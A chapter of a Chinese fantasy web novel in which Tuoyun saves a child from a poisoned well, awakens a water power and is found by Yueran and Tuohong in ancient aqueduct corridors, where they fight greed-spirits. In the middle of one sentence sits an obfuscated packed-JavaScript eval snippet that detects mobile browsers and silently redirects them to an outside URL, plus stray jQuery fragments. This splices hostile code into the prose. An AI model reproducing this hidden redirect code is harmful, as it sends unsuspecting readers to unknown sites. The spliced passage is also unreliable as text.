悦然走在中间,目光落在街巷两侧紧闭的铺门上。滨蓝不像一座王城,更像一间大号的病房——灰石矮屋,结冰的巷道,偶尔有几个裹着破棉袄的人缩着脖子匆匆走过,脸色和这座城一个颜色。 拓宏走在她左侧,沉默如常。恢复神觉后,他与土地有了某种感应。此刻,他已经能感受到大地的痛苦呻吟。他的目光扫过每一处阴影、每一道拐角,感应着这座昔日最美国度的每一寸衰败。 拓云走在她右侧。 他的步子比平时慢了半拍。 悦然没注意到。拓宏注意到了。 他注意到拓云的步子慢了,注意到拓云的眼神往东边那条巷子飘了一下,又收回来,又飘过去。 他太了解自己这个弟弟了——从小到大,所有心事都写在脸上。 果然,拓云顿住了脚。 "二哥,悦然,你们先回宫。"他挤出一个笑,搓了搓手——那双包着棉布的烂手在披风底下不太自在地动了动,"我还差点儿事,去去就回。" "什么事?"拓宏故意问。 拓云挠了挠后脑勺,笑得更虚了:"就……一点小事。真的,去去就回。" 拓宏含笑看了他两秒,没再问。 "快去快回。"他转身继续走。 悦然多看了拓云一眼。他的眼神飘了一下,像是被烫着了似的躲开,然后摆了摆手,转身钻进旁边那条巷子。步子忽然快了起来,像怕被叫住。 悦然望着他的背影消失在巷口,微微皱了皱眉。 "他去干什么?" 拓宏没回头:"由他。" 拓云一路小跑穿过半座城。 滨蓝的街巷他闭着眼都走得出来——哪条路结了冰容易滑,哪条巷子的风特别割脸,哪家铺子还开着门,哪家已经三个月没挂幌子了。三年了,他比滨蓝本地人还熟。 那家点心铺在城东巷尾,门脸小得像缩进了墙里,幌子脏得看不出字。铺主是个干瘦老头,缩在柜台后面打盹,用的面是陈了又陈的,做出来的霜糕硬得能砸核桃,甜味淡得像回忆里的糖。但在如今的滨蓝,这是最后一家还开着的点心铺了,这霜糕也是整座城里唯一还能算"甜"的东西。 他推门进去的时候,老头正要收摊。 "还有霜糕吗?" 老头抬了抬眼皮,看了看他,如今滨蓝的人都认得他,防着曦宇安稳的王子不做,来这里陪他们受罪。 "三块。"老头抱拳施礼,淡淡回复。 "都要了。" 老头用油纸包了,比他巴掌还小。拓云把身上最后几枚铜板拍在案上,将霜糕揣进怀里,贴着胸口。 老头没有拒绝他的铜板,他是这城中唯一不欺压百姓的上等人。也是上等人口中的傻子和笑话。据说王上——他的外祖都劝不动他,这做派,恰是曦宇上国的风华,像极了他的母亲。 外头冷,霜糕硬,拓云贴了一会儿也没暖热——他的身子早就不暖了。但他还是贴着。 出了铺子,他低头看了看怀里的油纸包,忽然有点不好意思。 说不清为什么不好意思。就是觉得——三年前在雨虹山下见到她的时候,她才十岁的身量,身上全是伤,眼神里全是绝望。他当时就想起了拓夏。他的亲妹妹,惨死在大漠的拓夏。 他把悦然当妹妹了。从那天起就是。 可他能做什么呢?他护不住拓夏,也护不住悦然——现在,他连一块像样的点心都拿不出来。滨蓝三年,他苦苦坚持,想要改变这每况愈下的世道人心和生存环境,却到了自己已经筋疲力竭的时刻,能款待悦然的,就只剩这包霜糕了。 "别嫌寒碜啊。"他对着空气小声说了一句,像是提前演练,又像是心虚。 她已经不是十岁身量的小姑娘了。她现在的身量像十七八岁的大姑娘,已经跟他一般高了。他知道。可他心里那个想对她好的念头,从三年前到现在,没变过。 他把手揣回怀里,指尖碰到了油纸包——凉的。滨蓝什么都凉。三年了,他每天带头把手伸进毒水里搬石头,有时候泡得久了,会觉得水底有东西在摸他的骨头。凉的、沉的、缓缓地一圈一圈地摸,像在掂量他够不够分量。 巷子拐过两个弯,他听见了喊声。 "有人掉井里了——!" 声音从前面那条街传来,尖利得发颤。拓云的脚比脑子快——拔腿就跑,拐过一个弯,看见病坊院子门口聚了几个人,一个老妇趴在井沿上,半个身子探进去,声嘶力竭地喊。 井底下传来孩子的哭声。细弱的,呛了水的,一声比一声急。 拓云冲到井边,俯身一看——井底有水,泛着暗绿色的油膜,腥苦之气冲上来。水里有个小小的身影,五六岁的小女孩,正在水里扑腾,两只手乱拍水面,脑袋一会儿冒出来一会儿沉下去,嘴里呛进一口又一口的毒水。她浮不住——衣服浸了水往下坠,小胳膊越拍越没劲,每一次沉下去的时间都比上一次长。 井沿上方,有人已经顺下了一根麻绳,绳头在井壁上晃荡,小女孩却只顾挣扎,拉不了绳子。 拓云没有犹豫。 他先把怀里的霜糕掏出来,搁在井沿上。油纸包搁在石沿的干燥处,离井口一拃远——手上的毒水会弄脏它。就这一个动作,比他三年来做过的任何事都轻,都小心。 然后他脱了棉衣。 那件棉衣跟了他两年,补丁摞补丁,棉花早结了板,硬邦邦地坠在身上。他解开带子,一把扯下来,露出里头单薄的中衣——也是补过的,袖口已经磨烂了。棉衣搭在井沿上,和霜糕放在一起。 穿着那种棉衣下水,浸了水比石头还沉,能把他直接拽到井底。 他翻身下了井。 井壁的石阶被毒水浸了三年,滑得像冰。手指扣进石缝,烂了的指头磨在湿石上,血丝渗进棉布。他一声没吭,几步攀到水面,一头扎了进去。 水冷得刺骨。毒水碰到手上、腿上那些未愈的溃烂,像烙铁烫过,浑身猛地一抽。但他没停,几下游到孩子身边,一把捞了起来。 小女孩呛得满脸泪水,看见他,本能地攀住他的脖子,死死搂住,浑身发抖。她身上沾了毒水,小手臂上红疹更多了,脸埋在他肩窝里闷闷地哭。 "没事。"他把她从肩上掰下来,一只手托住她的背,另一只手划水游到绳头旁,抓过麻绳,绕了两圈系在她腰上,勒紧。 他检查了一下绳结,确认不会滑脱,然后把孩子举过头顶。 "拉!" 上头的人一起用力,麻绳绷直了。小女孩哭喊着被往上拽——出了水面,过了井壁,终于被一双手接住了。 拓云仰头看了一眼。天光从井口落下来,孩子的脚丫在光里晃了一下,然后消失了。 他听见上头有人喊"拉上来了",有人喊"孩子没事了",有人喊"快把绳子再放下去——" 但他已经听不太清了。 把小姑娘托上去的那一瞬间,他忽然觉得非常非常累。骨头里的累。三年了,每天把手伸进毒水,每天把最后一口干净的饭让给别人,每天咬着牙说不累,身体终于把这笔账一起递过来了。 黑色的纹路从手臂蔓延到了肩膀——三年积攒的毒,此刻卸了劲儿,便一起涌上来。他眼前一黑,晕了过去。 身子软软地往后仰,水合拢来,把他吞了下去。 水没过头顶的时候,世界忽然安静了。 所有的声音都消失了——上头的喊声、风声、自己的心跳——全被水吞掉了。耳朵里只剩一种沉闷的、嗡嗡的压力,像有什么东西在往鼓膜上按。 他想张嘴,嘴刚一开,水就灌了进来。冰冷的水从嘴角、从鼻孔、从每一个能进气的地方往里涌,呛进气管,像一把液态的刀子从嗓子眼捅下去。他的身体本能地想咳嗽,一咳,更多的水涌进来。 肺在烧。 像胸口塞了一团正在燃烧的棉花,每一寸肺叶都在痉挛着要空气,但吸进来的是水。横膈膜拼命地抽搐,肋骨像被一只手从里面往外撑,胸腔要炸了。 他伸手去够井壁。手指碰到湿滑的石面,指甲翻了,抠不住。身体在往下沉——慢慢地、一点一点地沉,像有什么东西在井底拉着他。水越来越深,光越来越暗,头顶那个灰白色的井口越来越小,小成一枚铜钱,小成一粒米。 他想喊。喊不出来。喉咙里只有咕噜咕噜的声音,是气泡从嘴里挤出来,带着最后一点肺里的空气,噗噗噗地往水面上飘。 那些气泡很好看。在暗绿色的水里一串一串地往上冒,像小时候吹的水泡子。他盯着那些气泡看,忽然想起拓夏小时候也爱吹水泡子,蹲在河边,用一根麦秆—— 意识开始模糊了。 胸口的烧变成了闷,闷得像整座山压在胸口。四肢不再挣扎了,身体不听使唤了。手指松开了,胳膊飘起来了,像水草一样在身侧缓缓摆动。眼前的一切都在变暗——暗绿色的水变成了墨绿色,墨绿色变成了黑色,黑色里有星星点点的光,不知道是真的光还是眼睛在骗他。 然后最后一口气也涌了出来。 很大的一个气泡,从嘴里鼓出去,噗的一声碎了。肺彻底空了——满了水,但没有空气。胸腔里像有一只手在从里面往外撕,每一根肋骨都在尖叫,肺叶痉挛到了极限,像两只被拧干的布口袋,还要再拧,还要再拧—— 痛。 真真切切的、从胸腔正中央炸开的痛。像有人把一块烧红的铁从他胸口正中按下去,烙穿胸骨,烙穿肺叶,一直烙到脊椎—— 他的身体在水中猛地弓了起来,像被一只无形的手从中间折断。嘴大张着,但已经没有气可以吐了,只有水灌进来。肺到了极限——正在炸。他感觉到了肺叶在胸腔里像两只握紧的拳头一样痉挛,每一次痉挛都像一根筋要断,下一痉挛就能听见肋骨碎裂的声音—— 就在痛到极致的那一瞬—— 心脉深处,什么东西碎了。 破壳的碎。像一颗沉在水底不知多少年的种子,被这一刻极致的痛与窒息从外面重重一敲——壳破了。 然后碎片涌了上来。 像一面镜子摔在地上,每一片碎片里映着不同的画面,拼不回去,但每一片都亮得刺眼—— 他看见一个背影,很高,穿着青色的长袍,站在云海边,回头对他笑。"安云,跟紧了。"是苍野耔煦——也是煦审年——意识模糊了古今,他听见自己的声音:"师兄,等等我。" 他像根尾巴一样跟在师兄身后,从东跟到西,从南跟到北。师兄去哪里,他就去哪里。师兄说什么,他就听什么。师兄笑起来的时候,眼角会细细地皱起来,像水波纹。 又一个碎片。他站在苍野耔煦身边,低笑着说"今日,我们便是来贺这小上仙三千岁生辰。" 又一个碎片。一个极美的紫眸女孩说:"悦然修行尚浅,结成的曦宇国尚在蒙启之端。只愿凡界的国土上,德法儒道佛,五常玄顺流转,它们所生发的''承载、公正、仁爱、真朴、慈悲''能代代续传。悦然早闻生为天帝子息,均有一条特权,那就是可将全部仙力,化为一则天条。悦然今日便愿永生放弃仙藉,堕入轮回,只求能将五件神器,常留人间。悦然愿以此生仙力,化一道神域,护五件神器长留人间。" 身后有人在说话,他说不清那些话的意思,只记得心里有一种很深很深的东西——愧。是他曾经不理解的人,他曾经伤害过的人,他如今再也无法弥补的人…… 碎片越来越多,越来越密,和他体内的浊气搅在一起—— 然后他体内一直沉默的什么东西,动了。 从心脉最深处自己醒过来的。像一口井——你把井壁的石头搬开了,井底的泉水自己就会涌上来。 三年。 他每天把手伸进毒水。三年,地脉每一次都透过毒水摸了摸他的骨头。三年,他以为自己在搬石头,其实地脉一直在用浊气试他——试他受不受得住,试他松不松手。 就是那种感觉——泡得久了,水底有东西在摸他的骨头。凉的、沉的、一圈一圈地摸,像在掂量他够不够分量。他以为是自己想多了。 原来不是想多了。 他没松过。 此刻心脉将断未断之际,地脉终于认了他——认的是他三年里不肯放弃的那副骨头。 沧澜之力从心脉深处炸开。 他体内的水自己亮了。他这辈子喝的滨蓝水、淋的滨蓝雨、泡的滨蓝毒水,此刻全是他的。净水与浊气在他体内不再相冲——他变成了那条河道本身,清浊并行,各归其位。他让两条水各走各的路。 沧澜之力从他体内炸开的一瞬间,他脚下踩到了东西——硬的。石板。 井底铺着石板,石板被浊气和淤泥糊死了三年,此刻沧澜之力透过去,石板上的法阵纹路亮了一瞬——这是上古廊道竖井的封口石。滨蓝的井靠陶管取水,井底一根陶管直通地下廊道的水渠,廊道深处的地下水脉通过陶管被气压顶上来,水从管口涌出,蓄在井膛里,供人取用——这就是滨蓝人打井的法子。三年来淤泥和浊气把封口石糊死了,陶管堵了,水出不来,只能从井壁缝隙里渗一点泥汤,井水才越来越脏,越来越少。 此刻沧澜之力冲开封口石上的淤泥,石板松动了。 井水猛地一震。 堵了三年的陶管骤然通了——井膛里的水裹着淤泥和碎石往下灌,像拔了一个塞子。拓云的身体被水流裹挟着往下一沉,跌入了管道。 管道是竖的,内壁光滑,陶面烧制,刻着细密的水纹法阵。他向下滑了不到一丈,后背撞上管壁——管壁内侧有一个圆形的石钮,凹进壁面约半寸,平日水流不会误触,但此刻他的身体被水冲着贴上了管壁,后腰正正地磕在了那个石钮上。 石钮被按下去了。 他身侧的管壁缓缓裂开一道缝——石门向内滑动,露出一个检修口。检修口底部有一道凸起的石槛,高出管底约半尺,将管道内的水流挡在槛外;检修口内侧是一段向上倾斜的石阶,通向干燥的廊道步道。石门打开时,水漫过石槛的量极小——只有薄薄一层漫进来,顺着石阶的低洼处流了下去,不会倒灌。 上古工匠的精巧设计:石门、石槛、斜坡,三道防线,管中水畅行无阻,检修的人却能进出自如。 拓云的身体被水推着从检修口翻了进去。他翻过石槛,摔在倾斜的石阶上,往下滑了一截,最后靠在石阶尽头的一面墙上。 身后,石钮弹回,石门缓缓合拢,重新密封。管道里的水继续往下灌——但廊道深处的水脉也被气压顶了上来,新的净水顺着管道往上涌,不过几息的功夫,井膛里的水位便重新涨了起来。 井不会干。管子通了,水就活了。底下有源头,上面就有井水。 但拓云已经不在井里了。 消息传到王宫时,悦然正站在窗前看滨蓝灰蒙蒙的天。 传信的士兵跑得话都说不囫囵:"拓云公子……病坊的井……掉下去了……水变了……人没了……" 悦然没等他说完,转身就往外走。拓宏已经先她一步出了门。 她追上他的时候,他正大步穿过王宫前的广场,披风都没来得及系。两个人谁都没说话,一路疾行穿过半座城。 到了井边,悦然第一眼看到的是井沿上那包油纸。 霜糕。搁在石沿的干燥处,离井口一拃远。放得很小心。 旁边还搭着一件棉衣,补丁摞补丁,棉花结了板,袖口磨得黝黑发亮。 她看着那包油纸和那件棉衣,忽然就明白了。他是去买这个的。买给她的。他先把她支走,然后自己跑去买一块硬邦邦的霜糕——他就是这样的人,什么都想给她,什么都觉得自己给的不够好,永远坦坦荡荡地把他仅有的那点东西捧到她面前。 悦然站在井边,盯着那包油纸和那件棉衣看了很久。 那包油纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632102|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的霜糕,在湿冷的空气中已经硬得像石头,却固执地散发着一丝若有若无的甜香。她看着那包点心,忽然明白了拓云这三年在这座城里所有的坚持——哪怕身处毒水,也想给别人留一点甜。 风从滨蓝灰蒙蒙的天上刮下来,吹得油纸角微微翘起。她伸出手,把油纸按住了,又缩回来——好像碰了就是替他收了,替他收了就是认了这东西是给她的,认了就不知道该拿什么还。 她把手收在袖子里,垂下眼——然后又伸了出去,把那包霜糕拿起来,揣进怀里。油纸包凉得冰手,贴着胸口,寒气透过衣料渗进来。她没松手。 拓云那件补丁棉衣她也拿起来,叠好,放在井沿上最干燥的角落里。那是他的,她带着下去碍事,搁在这儿,等他上来再穿。 然后她低头看向井里。 井水变了。暗绿色的毒汤清了,清得能看见井底的石板。石板有一块松动了,歪在一边,底下是一个黑洞洞的缺口,隐约有光从缺口深处透上来,沧澜色的,很弱,一明一灭,像一盏快燃尽的灯。 拓云不在井里。 悦然的手已经搭上了井沿—— "等一下。" 拓宏走到她身侧,土黄之力在体表凝成一层硬壳,像铠甲。悦然看了他一眼,紫蓝二力也在体表凝成薄薄的护罩,将水隔开半寸——棉衣不用脱,水浸不到身上。 两个人对视一眼,翻身下了井。 井膛比想象中深。 悦然下沉时,紫蓝二力的护罩将浊水隔开半寸。她能感觉到水质的剧烈变化——上层是清的,拓云觉醒后逼退的净水;往下三尺,清浊交界,水温和气味骤然不同;再往下,井水又变浑了,腥苦之气透过护罩都刺得人头疼。 拓宏跟在她身后,土黄之力的硬壳比她的护罩笨拙,但更结实。他的另一只手始终虚抬着,掌心朝向悦然的方向——随时准备替她挡。 他们沉了约莫两丈,脚下踩到了石板。 悦然低头一看——井底铺着规整的石板,有一块歪在一边,底下透出沧澜色的微光。她蹲下去拨开松动的石板—— 底下是空的。 人工开凿的管道。管道内壁光滑,陶面烧制,壁面上刻着细密的水纹法阵,与她曾在赤渊旁见过的地脉纹路同源,但更古老、更深。 悦然将紫力护罩扩大,罩住自己和拓宏两人,顺着管道向下潜去。 潜了约莫一丈,她看见了管壁侧面的那个圆形石钮。 凹进壁面约半寸,边缘磨得光滑——无数年来,检修的人一次次按下这个石钮,才留下了这样的痕迹。 拓宏也看见了。他伸手按下石钮。 石钮陷入壁面,管壁缓缓裂开一道缝——石门向内滑动,检修口露了出来。底部一道凸起的石槛挡住了管道内的水流,只有薄薄一层水漫过石槛;内侧是一段向上倾斜的石阶,通向干燥的空间。 两人翻过石槛,踩上了石阶。 身后,石钮弹回,石门缓缓合拢,重新密封。 石阶尽头是一面墙,墙上刻着法阵纹路,纹路中隐隐透着沧澜色的光——和井底那一点明灭的光同源。悦然伸手触碰法阵,紫力探入——法阵应手而亮,墙面缓缓升起,露出了后面的空间。 廊道。 宽阔、规整,壁面上刻满了繁复的水纹法阵。廊道顶部的岩壁被拓云觉醒时的沧澜之力冲开了一些碎石,洞口边缘的石屑还在往下掉,砸在廊道底部的水渠里,发出空洞的回响。 廊道内是半干的。水渠在廊道底部中央,宽约三尺,深不过膝盖,渠水浑浊发黑,但廊道两侧的人行步道是干燥的——干燥了不知多少年,积着厚厚的灰尘。 上古地脉的输水廊道。滨蓝人传说了千年的水底古道,是真的。 而那些井——滨蓝城里一口一口的井——全是通过这样的陶管连着底下的廊道水渠。廊道深处有地下水脉,水脉的水被气压顶上来,通过陶管涌入井膛,井就成了。管子通,井水就活;管子堵,井水就枯。三年来淤泥和浊气把封口石糊死了,陶管堵了,井才越来越脏,越来越少。 拓云冲开了封口石,管子通了,井水活了。人也跟着水一起掉进了廊道。 悦然回头看了一眼拓宏。拓宏也看见了廊道,眉头拧得很紧,但没说话,只是伸手把她往前推了推——先进廊道,再找人。 她点了点头,迈步走了进去。 落地的瞬间,灰尘扬起来,呛得她咳了一声。廊道很高,约两丈,顶部呈拱形,刻满了水纹法阵。法阵大部分已经暗淡,只有少数几道还在微微发光——那是拓云的沧澜之力流过的痕迹,像一条细细的溪流,从他们进来的方向延伸出去,往廊道深处蜿蜒。 他们沿着那条沧澜色的痕迹往前走。 廊道很长,每隔一段有一个竖井的接口,大部分被碎石和淤泥封死。空气浑浊但能呼吸——有些竖井还通着地面,微弱的风从缝隙里透进来。 管道内有水在流——从上方井膛灌下来的水顺着管道向下涌,但涌势已经减弱了,说明下头的水脉已经开始往上顶,两股水正在管道中交汇。 他们沿着那条沧澜色的痕迹往前走。脚下的石阶干燥冰冷,但两侧的渠水却似乎有了生命。每当拓云胸腔微弱起伏时,渠水也随之轻轻"膨起"一个涟漪,像是在回应他残存的呼吸。整条廊道不再是死物,而是一个巨大的、随着拓云心跳缓慢搏动。 走了约莫百步,他们找到了拓云。 他靠在廊道壁上,半坐半躺,脑袋歪向一侧。沧澜色的光在他身上明灭不定,像呼吸一样缓慢地涨落。黑色的纹路还残留在手臂上,和沧澜之光并行——清浊各走各路,在他体内维持着一种微妙的平衡。但他的人是昏的,叫他不应。 悦然蹲下去,把手指搭上他的腕脉。 脉象极其紊乱——两种截然不同的力量在他体内抢地盘。沧澜之力正在一寸一寸地收复被浊气占据的经脉,但速度很慢,每前进一步,浊气就反扑一次,像潮水进退。 "他正在自己修。"悦然低声说,"不用强行干预——" 她没有说完。 因为她把蓝力探入了脚下的水渠。 蓝力是清泉神主的力量,与雨虹山的清泉同源。清泉之水从雨虹山流出,顺着地脉灌注四面八方,这些廊道里的水渠便是清泉之水的河道。蓝力入水的一瞬间,她便感知到了——水流是有去处的。 从雨虹山的方向延伸过来,分出数条支脉,通往青岚、凛锋、瓦鲁、滨蓝。整条水脉像一张巨网铺在地底,清泉之水在网上流淌,哪里通哪里就有清泉的气息,哪里堵哪里就是死水。 大部分支脉是暗的、堵的、断的。但此刻——因为拓云的觉醒冲开了滨蓝段的封口石——有几条纤细的支流正在重新活起来,清泉之水慢慢渗过去,像干涸的血管里重新灌进了血。 她顺着水流往深处探。 越往雨虹山方向,清泉的气息应该越浓。但她探过去的蓝力走了不到半条廊道,便撞上了一堵墙——清泉之水到这里就断了。断了的地方浊气翻涌,腥苦之气浓得像墨,清泉之水过不去,被堵死在那儿,一点也渗不过去。 那里有更大的破损。浊气从破口灌进来,把整条水脉截断了。 滨蓝段只是末梢。真正的重创在更靠近源头的地方。 她睁开眼,看向前方。 廊道深处,水渠里的水越来越浑,腥苦之气越来越浓,到了她蓝力探不到的地方,渠水已经黑得像淤泥。 "前面有更大的破损。"悦然站起来,"浊气从破口灌进来,清泉之水流不过去。滨蓝的井只是末梢,源头方向截断了,光通这一段不够。" 拓宏走到水渠边,蹲下去,把手伸进渠水里。土之力与大地相通,他的感知顺着渠底的石头往深处探——浊气底下还有更深的什么东西,沉在下面,像淤泥下面埋着的活物。 他把手抽出来,在步道上擦了擦,没说话。 他把拓云从地上扛起来。 "走。" 39. 地脉古道 天下莫柔弱于水,而攻坚强者莫之能胜,以其无以易之。 ——《老子》第七十八章 拓云在拓宏肩上昏了不知多久。 沧澜之光在他身上明灭不定,像一盏快燃尽的灯——还在和体内残留的浊气抢地盘,每一寸经脉都是战场。 悦然每隔一段时间就把紫力渡进去一丝,护住心脉不让他伤得更深,剩下的只能靠他自己慢慢磨。 拓宏扛着他走,步子稳,呼吸匀,还余出一只手来拉住悦然。 廊道很深,越往深处走,穹顶上的法阵纹路越暗,渠水里的腥苦之气越浓。偶尔有水珠从法阵裂缝里渗出来,滴在渠水里,空洞的声响沿着廊道传出去,传很远,没有回音。 他们找了一处相对干燥的拐角停下来。 拓宏把拓云从肩上放下来,靠墙半躺着。他低头看了看弟弟的脸——白的,嘴唇一点血色都没有,眼窝底下是青黑的,颧骨比他记忆里又凸了一些。 他把自己的棉衣脱下来,裹在拓云身上。棉衣比拓云的身量大了不少,领口空出一截,袖口也长出来半拃。 他把棉衣的带子系紧了,又掖了掖领口,动作很轻,像怕弄疼他。 悦然蹲到拓云身侧,手指搭上他的腕脉,闭眼感知他体内清浊二力的消长。脉象比刚才稳了一些——从溃败变成了僵持,浊气不再攻,沧澜之力也不再退,两股力量在他体内暂时维持着一种微妙的平衡。 她在等他醒。 廊道很安静。 安静得有些不正常——滨蓝段的渠水里偶尔还能听见水流的声音,到了这里,连水声都消失了,渠水像一潭死水,黑沉沉的,一动不动。 拓宏坐在对面,背靠廊道壁,双手搁在膝上。他的拳面上还沾着之前在井里沾的黑气留下的灰黑色灼痕,手指微微发僵。 他忽然抬起头。 土之力让他的感知顺着脚下的石头往上走,走到穹顶—— 停住了。 穹顶的灰尘里,有什么东西在动。 气。一团极淡的黑雾,贴在穹顶的法阵裂缝里,几乎和灰尘融为一体,不动,不出声,像一只闭着的眼。 然后那只眼睁开了。 一张脸。 扭曲的、模糊的,五官挤在一起,嘴巴大张——不是嚎叫,是吞噬。那张嘴像一口无底的洞,永远吃不饱,永远填不满,黑雾从洞口往外涌,像消化不良的浊气从胃里反上来。 悦然也猛地睁开眼——她感觉到了。空气里的浊气忽然浓了一截,像有什么东西在呼吸。 拓宏已经站起来了。 "上面。"他说。 悦然抬头看去——穹顶上那张脸已经不再是一张了。黑雾在法阵裂缝里迅速蔓延,像墨汁渗进宣纸,一张脸变两张,两张变四张,四张叠在一起,男人的、女人的、老人的、孩子的,每一张嘴都大张着——吞噬的嘴,抢夺的手,攥紧的拳头,永远不够的眼睛。 叠脸精怪。 贪念侵蚀地脉,渗入廊道,年深日久,凝结成精。叠在一起的面孔是无数人的贪念重合——贪财、贪利、贪权、贪奢、贪色…… 它们五官扭曲,嘴巴大张,那不是嚎叫,是欲壑,永远填不满的欲壑。它们守在破损处,不让修复,不让愈合——贪念不需要大地痊愈,贪念只需要裂口还在,就能一直往里渗。 穹顶上的叠脸越来越多,黑雾越来越浓,吞噬的嘴发出了声音——尖锐的、刺耳的、像指甲刮石板的声音,一声一声地往耳朵里钻,钻进去便在心里搅起一种说不清的躁:还想再吃一口,还想再拿一些,还想再多一点…… 黑雾从穹顶压下来,朝他们涌过来。 拓宏一拳轰上去,土之力裹着拳风砸在穹顶上——叠脸被击散了一瞬,黑雾四溅。但下一瞬,散掉的黑雾又重新聚拢,比刚才更大、更浓,叠在一起的面孔多出了几张新的嘴,张得更大,吞得更急。 土石堵不住贪念。 "散了还会聚。"拓宏收回拳头,看着拳面上新添的一层黑气,"得先把墙补上——断了根,它们自己就散了。" 悦然点点头。 她站在原地,紫力从掌心涌出——不是去打,是去化。紫力凝成一团柔光,贴上最近的那团叠脸精怪,光渗进黑雾里,一寸一寸地往里走,把贪念凝结的核慢慢化开。 叠脸精怪尖叫着挣扎,面孔扭动得更剧烈,吞噬的嘴张到极致——也想吞噬更多的净化之力。但紫力不管它张多大嘴,只管往里渗。像水渗进干裂的泥土,像光照进紧闭的缝隙,不硬来,只是进去了,然后在里面慢慢化。 最外面那层黑雾先散了。一张面孔剥落下来,无声地碎成灰雾。然后是第二张,第三张——贪念一层一层地被剥离,像洋葱被一瓣一瓣地剥开,剥到最后,核是空的。 贪念没有根,贪念的核心就是"还要更多",还要更多,永远还要更多——但"更多"本身是空的。 紫力渗到那个空核的时候,整团叠脸精怪便溃散了。黑雾像被风吹散的烟,一张一张面孔消散了,无声地落进渠水里,被水流带走。 第一团散了。 悦然没有停,紫力转向第二团。拓宏也动了——他站在裂缝下方,双手按上穹顶的破损处,土之力渗入石头,把松动的碎石一块一块地压实、咬合、封死。 精怪守着裂缝,裂缝养着精怪,两者互相依存。光打精怪不打裂缝,散了还会聚;光补裂缝不打精怪,修补的空当浊气又把石头顶开。得一起来——悦然净化精怪,拓宏补墙,一边清一边堵,二力合一。 悦然净化一团,拓宏便补一段。紫力化开第二团精怪的时候,他已经把裂缝的三分之一压实了。第三团精怪从裂缝深处钻出来,还没成形便被紫力灼散了——裂缝越来越小,贪念渗出来的路越来越窄,新生的精怪也越来越弱。 最后一团叠脸精怪挣扎着从即将合拢的裂缝里挤出半张脸——只有半张,嘴巴张到最大,无声地吞噬着空气,像溺水的人最后一口呼吸。 悦然的紫力贴上去,半张脸融化成虚无。 拓宏双手猛地发力,土之力把最后一段裂缝压实咬合——合上了。 廊道安静了。 穹顶上干干净净,黑雾散尽,法阵纹路在碎石归位后隐隐透出一丝微光。渠水里的腥苦之气也淡了一些,像窗户开了一条缝,外面的风吹进来了一点。 悦然收回紫力,手微微发抖——净化比封印更耗力,她刚才几乎是把紫力往精怪的核心里硬灌的。 拓宏看了看拳面上新添的灼痕,在步道上擦了擦,没说什么。 第一个塌口,补了。 渠壁上还有更大的裂缝,前面还有更多的塌口和精怪。但悦然没有急着往前走。 她转身蹲到拓云身边。 他还昏睡着。 悦然把手按上他的胸口,掌心贴着心脉,紫力探进去护住心脉——然后她感觉到了。 沧澜之力已经在运转了。他在井底觉醒时炸开的那股力量没有散,但走乱了——清浊二力在经脉里纠缠不清,像两股水流搅在一条河里,互相冲撞,互相堵塞。他一时昏厥不是因为力量不够,是因为经脉里的路堵了,力量出不来。 悦然没有替他开路。 她只是引了一下——紫力从心脉出发,轻轻带了一缕沧澜之力,沿任脉下行,过丹田,走督脉上行,再回心脉。一个周天。 只是一圈。 像给迷路的人指了一下方向——路在那边,你自己走。 然后她松手了。 沧澜之力沿着那个周天的路径自行运转起来,每转一圈,便把经脉里纠缠的浊气冲开一层,每冲开一层,清浊便分流一分。渐渐地,两条路各自清晰了——清走清的道,浊归浊的路,不再搅在一起。 拓云的呼吸平稳了下来。脸上的青黑褪了一些,嘴唇也回了点血色。 他睁开了眼。 眼底有一层清澈的蔚蓝在流转,像泛着光波的湖面——那是觉醒后沧澜之力的底色。 他撑着壁面坐起来,低头看了看自己的手。手上的伤在井底觉醒时已经愈合了大半,此刻只剩些浅淡的痕迹,不碍事了。他握了握拳,关节咔咔响了两声——有力气,不多,但够用。 他抬起头,看着面前的两个人。 悦然蹲在他身侧,手已经移开了,指尖还微微发颤。拓宏站在后面,轻轻攥住悦然发颤的手。 拓云看着他们,目光从悦然移到拓宏,又从拓宏移回悦然——看了很久,像是在辨认什么。 然后他开口了。 "我该叫你们什么?" 声音比之前清亮了不少,但尾音里带着一丝不确定,像是在试探。 "承泽?苍宇尊神?还是——"他顿了一下,看向拓宏,"二哥?" 又看向悦然:"悦然?还是……" 他没有说完。他的神觉醒了。 拓宏看了他一眼。 "叫二哥。" 顿了一下,又补了一句:"在人间就叫人间的。" 悦然也看了他一眼,嘴角微微动了一下——不算笑,但清冷的眉眼松了松。 拓云点了点头。 "二哥。"他叫了一声,嗓音低哑,但稳了。"悦然。" 又顿了一下。 "我好像记起来了一些东西,但还不全。"他的目光微微失焦了一瞬,像是在看很远很远的地方,"像拼图缺了大半,只有几个角是对得上的。" "慢慢来。"拓宏说,"能走吗?" 拓云握了握拳,站了起来——晃了一下,但站住了。沧澜之力在周身流转,气力虚但气息稳。 "能。" 三人开始往前推进。 分工是自然形成的——各干各的活,谁也不抢谁的。 拓云在最前方引水。沧澜之力贴着渠底前行,清浊并举——净水在前开道,浊水被他压在渠底不动。他刚觉醒,控制力还弱,每引一段水就要歇一歇,硬撑的时候经脉会痛,痛到脸色发白、嘴角渗血,但他从不叫停——后面两个人等着他的水开路,歇久了浊气会反扑。 悦然跟在后面,等拓云把水引过去,她便将蓝力沿渠壁渗入,顺着法阵纹路流淌,把错位的纹路一寸一寸地拨回原位,把淤塞的气脉疏通,把断掉的水路接上。路通了,她再引清泉之水沿新疏通的脉络流过来,冲刷新修的渠段——净水过处,法阵纹路自行亮起来,像干涸的河床认了水,浊水便被纹路释放的上古法力净化。 拓宏最后上手修补矿道裂缝和塌口。 塌口补好,蓝力引清泉之水冲过去,法阵亮了,这一段便活了。 就这样,一截一截地往前推。 遇到叠脸精怪,便再由悦然和拓宏配合净化。 越往前走,浊气越浓,精怪越凶,破损也越严重。塌口补了七处,叠脸精怪杀了三拨,每补一处都比上一处更费时,每杀一拨都比上一拨更费力。 到后来,三个人都咬着牙在撑。 